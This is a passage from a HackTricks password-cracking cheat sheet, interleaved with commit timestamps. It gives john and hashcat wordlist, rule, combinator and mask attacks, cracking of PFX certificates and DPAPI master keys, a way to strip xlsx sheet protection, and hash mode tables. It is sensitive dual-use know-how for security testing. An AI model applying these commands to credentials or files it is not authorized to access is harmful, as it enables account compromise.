john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
```
2022-09-30 10:43:59 +00:00
### Cisco
< figure > < img src = "../.gitbook/assets/image (239).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-05-19 12:02:10 +00:00
### DPAPI Master Key
Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py ](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py ) and then john
2022-05-01 13:25:53 +00:00
### Open Office Pwd Protected Column
2022-02-07 10:56:05 +00:00
2022-09-12 15:29:22 +00:00
If you have an xlsx file with a column protected by a password you can unprotect it:
2022-02-07 10:56:05 +00:00
* **Upload it to google drive** and the password will be automatically removed
* To **remove** it **manually** :
```bash
unzip file.xlsx
grep -R "sheetProtection" ./*
2022-04-05 22:24:52 +00:00
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
2022-02-07 10:56:05 +00:00
# Remove that line and rezip the file
zip -r file.xls .
```
2022-05-01 13:25:53 +00:00
### PFX Certificates
2022-02-07 12:08:46 +00:00
```bash
# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
2022-04-05 21:52:22 +00:00
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
2022-02-07 12:08:46 +00:00
```
2022-09-30 10:43:59 +00:00
![](< .. / . gitbook / assets / image ( 9 ) ( 1 ) ( 2 ) . png > )
2022-08-31 22:35:39 +00:00
\
Use [**Trickest** ](https://trickest.io/ ) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}
2022-05-01 13:25:53 +00:00
## Tools
2020-07-15 15:43:14 +00:00
**Hash examples:** [https://openwall.info/wiki/john/sample-hashes ](https://openwall.info/wiki/john/sample-hashes )
2022-05-01 13:25:53 +00:00
### Hash-identifier
2020-07-15 15:43:14 +00:00
```bash
hash-identifier
> <HASH>
```
2022-08-14 12:59:30 +00:00
### Wordlists
* **Rockyou**
2022-09-23 17:52:05 +00:00
* [**Probable-Wordlists** ](https://github.com/berzerk0/Probable-Wordlists )
* [**Kaonashi** ](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists )
* [**Seclists - Passwords** ](https://github.com/danielmiessler/SecLists/tree/master/Passwords )
2022-08-14 12:59:30 +00:00
### **Wordlist Generation Tools**
2022-09-12 15:29:22 +00:00
* [**kwprocessor** ](https://github.com/hashcat/kwprocessor )**:** Advanced keyboard-walk generator with configurable base chars, keymap and routes.
2022-08-14 12:59:30 +00:00
```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```
2022-05-01 13:25:53 +00:00
### John mutation
2020-07-15 15:43:14 +00:00
Read _**/etc/john/john.conf**_ and configure it
```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```
2022-05-01 13:25:53 +00:00
### Hashcat
2020-07-15 15:43:14 +00:00
2022-08-14 12:59:30 +00:00
#### Hashcat attacks
* **Wordlist attack** (`-a 0`) with rules
**Hashcat** already comes with a **folder containing rules** but you can find [**other interesting rules here** ](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules ).
```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
* **Wordlist combinator** attack
2022-09-12 15:29:22 +00:00
It's possible to **combine 2 wordlists into 1** with hashcat.\
If list 1 contained the word ** "hello"** and the second contained 2 lines with the words ** "world"** and ** "earth"**. The words `helloworld` and `helloearth` will be generated.
2022-08-14 12:59:30 +00:00
```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
# Same attack as before but adding chars in the newly generated words
2022-09-12 15:29:22 +00:00
# In the previous example this will generate:
2022-09-23 17:52:05 +00:00
## hello-world!
2022-08-14 12:59:30 +00:00
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
```
* **Mask attack** (`-a 3`)
```bash
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:; < =>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff
2022-09-12 15:29:22 +00:00
# Mask attack declaring custom charset
2022-08-14 12:59:30 +00:00
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
2022-09-23 17:52:05 +00:00
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.
2022-08-14 12:59:30 +00:00
# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```
* Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) attack
```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```
#### Hashcat modes
2020-07-15 15:43:14 +00:00
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
Cracking Linux Hashes - /etc/shadow file
2021-11-24 15:00:38 +00:00
```
2020-07-15 15:43:14 +00:00
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
Cracking Windows Hashes
2021-11-24 15:00:38 +00:00
```
2020-07-15 15:43:14 +00:00
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
Cracking Common Application Hashes
2021-11-24 15:00:38 +00:00
```
2020-07-15 15:43:14 +00:00
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
10800 | SHA-384 | Raw Hash
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
```
2022-04-28 16:01:33 +00:00
< details >
2023-03-05 23:15:43 +00:00
< summary > < strong > HackTricks in < / strong > < a href = "https://twitter.com/carlospolopm" > < strong > 🐦 Twitter 🐦 - < / strong > < / a > < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch< / strong > < / a > < strong > Wed - 18.30(UTC) 🎙️ - < / strong > < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2022-09-23 17:52:05 +00:00
* Do you work in a **cybersecurity company** ? Do you want to see your **company advertised in HackTricks** ? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF** ? Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* **Join the** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** me on **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
2022-12-05 22:29:21 +00:00
* **Share your hacking tricks by submitting PRs to the [hacktricks repo ](https://github.com/carlospolop/hacktricks ) and [hacktricks-cloud repo ](https://github.com/carlospolop/hacktricks-cloud )**.
2022-04-28 16:01:33 +00:00
< / details >
2022-08-31 22:35:39 +00:00
2022-09-30 10:43:59 +00:00
![](< .. / . gitbook / assets / image ( 9 ) ( 1 ) ( 2 ) . png > )
2022-08-31 22:35:39 +00:00
\
Use [**Trickest** ](https://trickest.io/ ) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics& utm_medium=banner& utm_source=hacktricks" %}